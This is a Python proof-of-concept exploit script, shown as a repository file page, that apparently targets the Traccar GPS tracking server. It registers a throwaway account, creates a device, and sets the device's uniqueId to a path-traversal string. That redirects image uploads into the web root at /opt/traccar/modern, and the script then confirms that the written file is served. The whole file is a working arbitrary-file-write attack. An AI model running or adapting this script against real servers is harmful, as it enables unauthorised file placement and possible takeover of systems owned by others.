-
Notifications
You must be signed in to change notification settings - Fork 0
/
poc.py
135 lines (116 loc) · 3.84 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
import requests
import random
import string
import sys
session = requests.session()
def generate_random_string(length=8):
letters = string.ascii_letters
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str
def register(target, username):
headers = {
'Content-Type': "application/json"
}
data = {
"name": username,
"email": f"{username}@admin.com",
"password": "123456",
"totpKey": None
}
res = session.post(f"{target}/api/users",headers=headers, json=data)
return res
def login(target, username):
headers = {
'Content-Type': "application/x-www-form-urlencoded;charset=UTF-8"
}
data = 'email=' + username + '@admin.com&password=123456'
res = session.post(f"{target}/api/session",headers=headers, data=data)
return res
def add_device(target, device_name):
headers = {
'Content-Type': "application/json"
}
data = {
"name": device_name,
"uniqueId": device_name
}
res = session.post(f"{target}/api/devices",headers=headers, json=data)
return res
def upload_file(target, device_id, file_suffix, data):
headers = {
'Content-Type': f"image/{file_suffix}"
}
res = session.post(f"{target}/api/devices/{device_id}/image",headers=headers, data=data)
return res
def change_upload_path(target, device_id, device_name, upload_path):
headers = {
'Content-Type': 'application/json'
}
data = {
"id": device_id,
"attributes": {
"deviceImage": "device.png"
},
"groupId": 0,
"calendarId": 0,
"name": "test",
"uniqueId": f"{device_name}/../../../../..{upload_path}",
"status": "offline", "lastUpdate":None,"positionId":0,"phone":None,"model":None,"contact":None,"category":None,"disabled":False,"expirationTime":None}
res = session.put(f"{target}/api/devices/{device_id}",headers=headers, json=data)
return res
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} http://example.com:8082")
sys.exit(0)
target = sys.argv[1]
username = generate_random_string()
# register user
res = register(target, username)
if username not in res.text:
print("Register Error!!")
sys.exit(0)
print(f"Register: {username}@admin.com Password: 123456")
# login
res = login(target, username)
if username not in res.text:
print("Login Error!!")
sys.exit(0)
print("Login Success!!")
device_name = generate_random_string()
# Add Device
res = add_device(target, device_name)
if 'id' not in res.text:
print("ADD Device Error!!")
sys.exit(0)
print(f'Add Device Success!! [{device_name}]')
device_id = res.json()['id']
# # Upload File
suffix = generate_random_string()
data = generate_random_string(20)
res = upload_file(target, device_id, suffix, data)
if 'device.' + suffix not in res.text:
print("Upload Error!!")
sys.exit(0)
print(f"First Upload Success!!")
# Change Upload Path
upload_path = "/opt/traccar/modern"
res = change_upload_path(target, device_id, device_name, upload_path)
if upload_path not in res.text:
print("Change Upload Path Error!!")
sys.exit(0)
print("Change Upload Path Success!!")
# Upload File Again
res = upload_file(target, device_id, suffix, data)
if 'device.' + suffix not in res.text:
print("Upload Error!!")
sys.exit(0)
print("Upload Success!!")
# Check upload
# if set upload_path = "/opt/traccar/modern"
check_url = f"{target}/device.{suffix}"
print(f"Check: {check_url}")
res = session.get(check_url)
if data in res.text:
print("Is a Vulnerability!")
else:
print('Not is a Vulnerability!')